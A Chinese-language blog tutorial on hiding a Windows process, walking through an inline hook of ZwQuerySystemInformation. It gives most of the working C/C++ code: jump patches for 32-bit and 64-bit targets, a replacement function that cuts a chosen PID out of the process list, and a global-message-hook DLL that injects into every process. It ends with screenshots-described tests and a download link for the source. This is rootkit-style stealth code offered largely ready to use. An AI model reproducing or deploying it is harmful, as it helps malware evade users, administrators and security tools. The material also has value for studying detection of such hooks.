前面介绍了“进程伪装”、“傀儡进程”,今天介绍“进程隐藏”,这是实战中经常遇到的跟进程有关的技巧。实现进程隐藏的方法很多,这次介绍的是一种较为直接的隐藏方式,InlineHOOK。
一、函数介绍
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
参数
SystemInformationClass [in]
要检索的系统信息的类型。该参数可以是SYSTEM_INFORMATION_CLASS枚举类型中的以下值之一,其等于5相当于进程信息;
SystemInformation[in,out]
指向缓冲区的指针,用于接收请求的信息。该信息的大小和结构取决于SystemInformationClass参数的值,如下表所示;
SystemInformationLength [in]
SystemInformation参数指向的缓冲区的大小(以字节为单位);
ReturnLength [out]
一个可选的指针,指向函数写入所请求信息的实际大小的位置。如果该大小小于或等于SystemInformationLength参数,则该函数将该信息复制到SystemInformation缓冲区中; 否则返回一个NTSTATUS错误代码,并以ReturnLength返回接收所请求信息所需的缓冲区大小。
返回值
注意
ZwQuerySystemInformation函数及其返回的结构在操作系统内部,并可能从一个版本的Windows更改为另一个版本。为了保持应用程序的兼容性,最好使用前面提到的替代功能。
如果您使用ZwQuerySystemInformation,请通过运行时动态链接访问该函数。如果功能已被更改或从操作系统中删除,这将使您的代码有机会正常响应。但签名变更可能无法检测。
此功能没有关联的导入库。您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。
二、实现原理
首先,先来讲解下为什么 HOOK ZwQuerySystemInformation 函数就可以实现指定进程隐藏。是因为我们遍历进程通常是调用系统WIN32 API函数EnumProcess 、CreateToolhelp32Snapshot等函数来实现,这些WIN32 API它们内部最终是通过调用 ZwQuerySystemInformation这个函数实现的获取进程列表信息。所以,我们只要HOOK ZwQuerySystemInformation函数,对它获取的进程列表信息进行修改,把有我们要隐藏的进程信息从中去掉,那么 ZwQuerySystemInformation 就返回了我们修改后的信息,其它程序获取这个被修的信息后,自然获取不到我们隐藏的进程,这样,指定进程就被隐藏起来了。
其中,我们将HOOK ZwQuerySystemInformation 函数的代码部分写在 DLL 工程中,原因是我们要实现的是隐藏指定进程,而不是单单在自己的进程内隐藏指定进程。写成 DLL 文件,可以方便我们将 DLL 文件注入到其它进程的空间,从而 HOOK 其它进程空间中的 ZwQuerySystemInformation 函数,这样,就实现了在其它进程空间中也看不到指定进程了。
我们选取 DLL 注入的方法是设置全局钩子,这样就可以快速简单地将指定 DLL 注入到所有的进程空间里了。
其中,HOOK API 使用的是自己写的 Inline Hook,即在 32 位程序下修改函数入口前 5 个字节,跳转到我们的新的替代函数;对于 64 位程序,修改函数入口前 12 字节,跳转到我们的新的替代函数。
三、流程
首先,获取API函数的地址。可以从进程中获取HOOK API对应的模块基址,这样,就可以通过GetProcAddress函数获取API函数在进程中的地址。
然后,根据32位和64位版本,计算需要修改HOOK API函数的前几字节数据。若是32位系统,则需要计算跳转偏移,并修改函数的前5个字节数据;若是64位系统,则需要修改函数的前12字节数据。
接着,修改API函数的前几个字节数据的页面保护属性,更改为RWX,这样是为了确保修改后内存能够执行。
最后,为了能够还原操作,要在修改数据前先对数据进行备份,然后再修改数据,并还原页面保护属性。
四、代码
1、HOOK ZwQuerySystemInformation
void HookApi()
{
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
// 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
// 32 位下修改前 5 字节, 64 位下修改前 12 字节
#ifndef _WIN64
// jmp New_ZwQuerySystemInformation
// 机器码位:e9 _dwOffset(跳转偏移)
// addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
// addr2 --> 跳转地址的值,即_dwNewAddress的值
// 跳转偏移 _dwOffset = addr2 - addr1
BYTE pData[5] = { 0xe9, 0, 0, 0, 0};
DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
// 保存前 5 字节数据
::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
#else
// mov rax,0x1122334455667788
// jmp rax
// 机器码是:
// 48 b8 8877665544332211
// ff e0
BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};
ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));
// 保存前 12 字节数据
::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
#endif
// 设置页面的保护属性为 可读、可写、可执行
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 修改
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
// 还原页面保护属性
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
2、New_ZwQuerySystemInformation
首先,使用UnHookApi防止因多次同时访问HOOK函数而造成数据混乱,导致数据修改失败。同一时间,应该只有一个线程访问HOOK函数。
然后,通过GetProcAddress函数从ntdll.dll中获取ZwQuerySystemInfomation函数地址并调用执行,检索并获取系统信息。
接着判断检索消息类型是否是进程信息,若是则遍历检索结果,从中剔除隐藏进程的消息。
最后,数据修改完毕后,继续执行HOOK操作,并返回结果。
NTSTATUS New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
// 要隐藏的进程PID
DWORD dwHideProcessId = 13928;
// UNHOOK API
UnhookApi();
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
// 调用原函数 ZwQuerySystemInformation
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// 判断是否是要隐藏的进程PID
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
{
if (0 == pCur->NextEntryOffset)
{
//当我们需要隐藏的进程是最后一个数据时//就将上一个数据结构的NextEntryOffset置0//这时系统在遍历我们进程时就不会发现了
pPrev->NextEntryOffset = 0;
}
else
{
//当我们需要隐藏的进程 后面还有进程时//越过要隐藏的进程让 NextEntryOffset //指向下一个数据块
pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
}
}
else
{
pPrev = pCur; }
if (0 == pCur->NextEntryOffset)
{
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
}
}
// HOOK API
HookApi();
return status;
}
3、设置全局消息钩子注入DLL
int _tmain(int argc, _TCHAR* argv[])
{
// 加载DLL并获取句柄
HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll");
printf("Load Library OK.\n");
// 设置全局钩子
g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0);
printf("Set Windows Hook OK.\n");
system("pause");
// 卸载全局钩子
UnhookWindowsHookEx(g_hHook);
printf("Unhook Windows Hook OK.\n");
// 卸载DLL
::FreeLibrary(hDll);
system("pause");
return 0;
}
以上的HOOK函数均写在DLL中,写在其中可以方便将DLL注入到其他进程空间,从而隐藏其他进程空间中的ZwQuerySystemInfomation函数,而不单单在自己的进程空间内隐藏指定进程。
4、HideProcess_ZwQuerySystemInformation_Test : 定义DLL应用程序的导出函数
对于钩子函数来说,要求DLL的数据段对所有的进程也必须相同。这样您就必须把数据段设成共享的,这可以通过在链接开关中指定段的属性来实现。#pragma data_seg("Shared")HINSTANCE g_hInstance = NULL;HHOOK g_hHook = NULL;HWND g_hWnd = NULL;#pragma data_seg()#pragma comment(linker,"/SECTION:Shared,RWS")
Shared代表该段是共享段。
// 消息全局钩子回调函数
LRESULT CALLBACK GetMsgProc(
int code, // hook code
WPARAM wParam, // removal option
LPARAM lParam // message
)
{
// 不进行任何操作,设置全局钩子的目的就是进行DLL注入而已,主要是主入口进行的API挂钩
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 设置全局钩子
HHOOK SetHook()
{
HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);
g_hHook = hHook;
return hHook;
}
// 卸载全局钩子
BOOL UnsetHook(HHOOK hHook)
{
UnhookWindowsHookEx(hHook);
return TRUE;
}
5、结构体
在源码中有“if(NT_SUCCESS(status)&&5==SystemInformationClass)”,这里的SystemInformationClass是什么?

定义是进程信息为5;
五、程序测试
我们运行将要隐藏进程的程序DisplaySample.exe,然后打开任务管理器,可以查看到它是处于可见状态。接着,以管理员权限运行我们的程序,设置全局消息钩子,将 DLL 注入到所有的进程中,DLL便在DllMain入口点函数处HOOK ZwQuerySystemInformation函数,成功隐藏DisplaySample.exe的进程。

这是我们要测试隐藏的进程,PID=13928;
运行程序,

再查看任务管理器,

对比上图,发现DisplaySample.exe不见了;
换种方式再测试下,让DisplaySample.exe放于cmd下运行,

呈现出这样的隶属关系,再运行隐藏程序,

发现没有了,这样的隶属关系看得更清楚;
六、验证

因为通过“HideProcess_ZwQuerySystemInformation_Test.dll”来HOOK ZwQuerySystemInformation,所以查找这个Dll文件,发现所有调用ZwQuerySystemInformation都被指向了这个Dll文件。
好的,先到此吧。关于深层次的验证,我也有点没搞透,这个问题将持续研究中。
下载地址:
链接:https://pan.baidu.com/s/1RVVMNKcBHBbEVZNYaRZsuA
提取码:tljs
